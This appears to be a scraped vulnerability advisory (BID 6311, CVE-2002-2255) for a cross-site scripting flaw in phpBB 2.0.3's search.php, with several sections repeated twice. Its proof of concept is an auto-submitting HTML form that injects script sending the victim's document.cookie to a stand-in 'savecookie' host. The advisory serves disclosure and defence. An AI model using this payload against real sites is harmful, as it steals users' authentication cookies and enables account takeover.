phpBB search.php Cross Site Scripting Vulnerability
BID:6311
Info
phpBB search.php Cross Site Scripting Vulnerability
| Bugtraq ID: | 6311 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-2255 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 03 2002 12:00AM |
| Updated: | Mar 19 2015 08:36AM |
| Credit: | Discovery of this vulnerability is credited to <[email protected]>. |
| Vulnerable: |
phpBB Group phpBB 2.0.3 |
| Not Vulnerable: | |
Discussion
phpBB search.php Cross Site Scripting Vulnerability
phpBB is vulnerable to cross site scripting attacks. This is due to insufficient santization of user-supplied input. The problem is located in the search.php script. This issue may be exploited by an attacker to steal a legitimate users cookie-based authentication credentials.
phpBB is vulnerable to cross site scripting attacks. This is due to insufficient santization of user-supplied input. The problem is located in the search.php script. This issue may be exploited by an attacker to steal a legitimate users cookie-based authentication credentials.
Exploit / POC
phpBB search.php Cross Site Scripting Vulnerability
The following proof of concept has been supplied by <[email protected]>.
<html>
<body>
<form method="post" name="search"
action="http://target/search.php?mode=searchuser">
<input type="hidden" name="search_username" value=""/>
</form>
<SCRIPT>
search.search_username.value='Http://savecookie/x.php?Cookie="><script>location=search.search_username.value+document.cookie;</script\>';
document.search.submit();
</script>
</body>
</html>
The following proof of concept has been supplied by <[email protected]>.
<html>
<body>
<form method="post" name="search"
action="http://target/search.php?mode=searchuser">
<input type="hidden" name="search_username" value=""/>
</form>
<SCRIPT>
search.search_username.value='Http://savecookie/x.php?Cookie="><script>location=search.search_username.value+document.cookie;</script\>';
document.search.submit();
</script>
</body>
</html>
Solution / Fix
phpBB search.php Cross Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
phpBB search.php Cross Site Scripting Vulnerability
References:
References: